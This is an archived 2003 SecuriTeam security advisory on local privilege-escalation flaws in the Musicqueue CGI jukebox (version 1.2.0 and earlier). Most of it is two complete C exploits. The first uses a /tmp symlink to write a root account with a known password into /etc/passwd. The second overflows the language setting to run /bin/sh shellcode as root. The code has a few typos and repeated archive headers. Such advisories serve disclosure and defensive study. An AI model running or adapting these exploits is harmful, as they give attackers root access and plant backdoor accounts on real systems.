

[EXPL] Musicqueue Multiple Local Vulnerabilities (/tmp/musicqueue.crash Symblink, Language Overflow)

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2003-10/0121.html>

From: SecuriTeam (support_at_securiteam.com)

Date: 10/28/03

To: list@securiteam.com

Date: 28 Oct 2003 16:01:40 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.secureteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.secureteam.com/maillinglist.html>

Musicqueue Multiple Local Vulnerabilities (/tmp/musicqueue.crash Symblink,
Language Overflow)

SUMMARY

<<http://musicqueue.sourceforge.net/>> Musicqueue is "a CGI music jukebox using external tools to play the files. Because of that it supports several formats. It supports two modes, enqueue and vote. In vote mode users can vote on music and the song with the most votes is played. In enqueue mode, songs are enqueued and the one that's been in the playlist the longest is played. It is themable through CSS and has many configuration options".

Two locally exploitable vulnerabilities in the Musicqueue product allow attackers to gain elevated privileges, one vulnerability consists of exploiting a symbolic link, the other exploits a buffer overflow.

DETAILS

Vulnerable systems:

* Musicqueue version 1.2.0 and prior

[EXPL] Musicqueue Multiple Local Vulnerabilities (/tmp/musicqueue.crash Symblink, Language Overflow)

Securiteam: [EXPL] Musicqueue Multiple Local Vulnerabilities (/tmp/musicqueue.crash Symlink, Language Overflow)

```
0x82-Local.musicqueue_xpl.c:
/*
**
** 0x82-Local.musicqueue_xpl -
** musicqueue.cgi v-1.2.0 local root `Proof of Concept' exploit
**
** This may add user of `REQUEST_METHOD=GET' in `/etc/passwd' file.
** And, the password is `x82'.
**
** I installed musicqueue by root. (make install-suid)
**
** __
** [root@testsub musicqueue]# ls -al musicqueue.cgi
** -rwsr-sr-x 1 root root 67540 Jul 20 14:54 musicqueue.cgi
** [root@testsub musicqueue]# su x82
** [x82@testsub musicqueue]$ head -1 /etc/passwd
** root:x:0:0:root:/root:/bin/bash
** [x82@testsub musicqueue]$ gcc -o 0x82-Local.musicqueue_xpl
0x82-Local.musicqueue_xpl.c
** [x82@testsub musicqueue]$ ./0x82-Local.musicqueue_xpl
**
** 0x82-Local.musicqueue_xpl - musicqueue.cgi v-1.2.0 POC exploit.
**
** [x82@testsub musicqueue]$ head -1 /etc/passwd
** REQUEST_METHOD=GET:$1$jDra3UN4$4jyrr1pc00PRZnmlyFw91:0:0:::/bin/sh
** [x82@testsub musicqueue]$ su REQUEST_METHOD=GET
** Password: (password is 'x82')
** [REQUEST_METHOD=GET@testsub musicqueue]# id
** uid=0(REQUEST_METHOD=GET) gid=0(root) groups=0(root)
** [REQUEST_METHOD=GET@testsub musicqueue]#
** __
**
** Don't like user's name so. :-p
** __
** exploit by "you dong-hun"(Xpl017Elz), <soahc@hotmail.com>.
** My World: http://x82.i21c.net & http://x82.inetcop.org
**
*/

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>

#define REDHAT_7X
#undef REDHAT_7X /* touch me! */

#define DEF_TG_PATH "./musicqueue.cgi"
#define CRASH_CORE_PATH "/tmp/musicqueue.crash"
#define WRT_PASSWD_PATH "/etc/passwd"
#define REQUEST_METHOD_MK "GET" /* Username: REQUEST_METHOD=GET */
#define S_TOKEN 0x3a
```

[EXPL] Musicqueue Multiple Local Vulnerabilities (/tmp/musicqueue.crash Symlink, Language Overflow)

Securiteam: [EXPL] Musicqueue Multiple Local Vulnerabilities (/tmp/musicqueue.crash Symblink, Language Overflow)

```
#define S_PASS "$1$jDra3UN4$4jyyrr1pc00PRZnmlyFw91" /* Password: x82 */
#define DCR_PASS "x82"
#define USER_UID 0x0 /* Uid,Gid: 0 */
#define USER_GID 0x0
#define ROOT_PWD 0x2f /* Homedir: / */
#define SHELL_PATH "/bin/sh" /* Shell: /bin/sh */
#define TTL_FORMAT_STR "%s%c%s%c%d%c%d%c%c%c%c%c\n"
#define STK_OVERFLOW_STR "aaaa"
#define S_ENV_PTE "REQUEST_METHOD"
#define S_ENV_PTO "HTTP_ACCEPT_LANGUAGE"
#ifdef REDHAT_7X
#define S_ENV_PTH "QUERY_STRING"
#endif
#define DEF_ZR 0
#define DEF_NR 1
#define DEF_MN -1
#define SZ_DEF_BR (0x82)
#define DEF_LEN (1024)

int main(void)
{
    FILE *fp=(NULL);
    char atk_str[(SZ_DEF_BR)],ttl_str_bf[(DEF_LEN)];
    int r=(DEF_ZR),r_r=(DEF_ZR);

    fprintf(stdout,"\n 0x82-Local.musicqueue_xpl - musicqueue.cgi
v-1.2.0 POC
exploit.\n\n");

    memset((char *)atk_str,(DEF_ZR),sizeof(atk_str));
    snprintf(atk_str,sizeof(atk_str)-1,(TTL_FORMAT_STR),
        (REQUEST_METHOD_MK),(S_TOKEN),(S_PASS),(S_TOKEN),
        (USER_UID),(S_TOKEN),(USER_GID),(S_TOKEN),(S_TOKEN),
        (ROOT_PWD),(S_TOKEN),(SHELL_PATH));

    if((fp=fopen((WRT_PASSWD_PATH),"r"))==NULL)
        return((DEF_MN));

    memset((char *)ttl_str_bf,(DEF_ZR),sizeof(ttl_str_bf));
    for(r_r=(DEF_ZR);r_r<strlen(atk_str);r_r++)
        ttl_str_bf[r_r]=atk_str[r_r];

    while(fread(&r,(DEF_NR),(DEF_NR),fp))
        ttl_str_bf[r_r++]=r;

    fclose(fp);
    ttl_str_bf[strlen(ttl_str_bf)-1]='\0';

    /* REQUEST_METHOD=GET:.....:.. passwd contents ... */
    setenv((S_ENV_PTE),(ttl_str_bf),strlen(ttl_str_bf));
    /* Stack Overflow. yeh, Its segfault happens. */
```

[EXPL] Musicqueue Multiple Local Vulnerabilities (/tmp/musicqueue.crash Symblink, Language Overflow)

Securiteam: [EXPL] Musicqueue Multiple Local Vulnerabilities (/tmp/musicqueue.crash Symlink, Language Overflow)

```
    setenv((S_ENV_PTO),(STK_OVERFLOW_STR),strlen(STK_OVERFLOW_STR));

#ifdef REDHAT_7X
    atk_str[strlen(atk_str)-1]='\0';
    setenv((S_ENV_PTH),(atk_str),strlen(atk_str));
#endif

    /* File Symbolic Link. */
    unlink(CRASH_CORE_PATH);
    symlink((WRT_PASSWD_PATH),(CRASH_CORE_PATH));

    /* Execute, Local CGI. */
    execl((DEF_TG_PATH),(DEF_TG_PATH),(NULL));
}
```

0x82-musicqueue_over.c:

```
/*
**
** 0x82-musicqueue_over - musicqueue.cgi local root `Proof of Concept'
exploit
**
** This is general overflow exploit.
**
** __
** bash-2.04$ ./0x82-musicqueue_over /tmp/musicqueue-1.1.1/musicqueue.cgi
**
** 0x82-musicqueue_over - musicqueue.cgi v-0.9~1.1.1 `Proof of Concept'
**
** sh-2.04# id
** uid=0(root) gid=0(root) groups=500(x82)
** sh-2.04#
** __
** exploit by "you dong-hun"(Xpl017Elz), <szoahc@hotmail.com>.
** My World: http://x82.i21c.net & http://x82.inetcop.org
**
*/
```

```
#include <stdio.h>
```

```
int main(int argc,char *argv[])
```

```
{
    FILE *fp;
    int r_rn=0;
    char *ent_r[3],atck_d[0x82];
    char shellcode[]=
        "\220@\220@\220@\220@\220@\220@\220@\220@"
        "\220@\220@\220@\220@\220@\220@\220@\220@"
        "1\300\260F1\3331\311\315\2001\300\260G1\3331"
        "\311\315\200\353\037^\211v\b1\300\210F\007"
        "\211F\f260\013\211\363\215N\b215V\f315\2001"
        "\333\211\330@\315\200\350\334\377\377\377"
```

```
    "/bin/sh";

    unsigned long sh_addr=(0xbfffffff-(strlen(shellcode)));
    memset((char *)atck_d,0,sizeof(atck_d));

    fprintf(stdout,"\n 0x82-musicqueue_over - musicqueue.cgi
v-0.9~1.1.1 POC
exploit.\n\n");

    if(argc<2)
    {
        fprintf(stdout," Usage: %s [musicqueue.cgi
path]\n\n",argv[0]);
        exit(-1);
    }
    else sh_addr==(strlen(argv[1]));

    atck_d[r_rn++]=0x82;
    for(;r_rn<44;r_rn+=4)
    {
        *(long *)&atck_d[r_rn]=sh_addr;
    }

    if((fp=fopen("musicqueue.conf","w"))==NULL)
    {
        fprintf(stderr," [-] musicqueue.conf fopen() error.\n\n");
        return(-1);
    }
    fprintf(fp,"language = %s\n",atck_d);
    fclose(fp);

    ent_r[0]="REQUEST_METHOD=GET";
    ent_r[1]=(shellcode);
    ent_r[2]=(NULL);
    execl(argv[1],"musicqueue.cgi",NULL,ent_r);
}
```

ADDITIONAL INFORMATION

The information has been provided by <<mailto:xploit@hackermail.com>>
dong-h0un U.

=====

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to:
list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.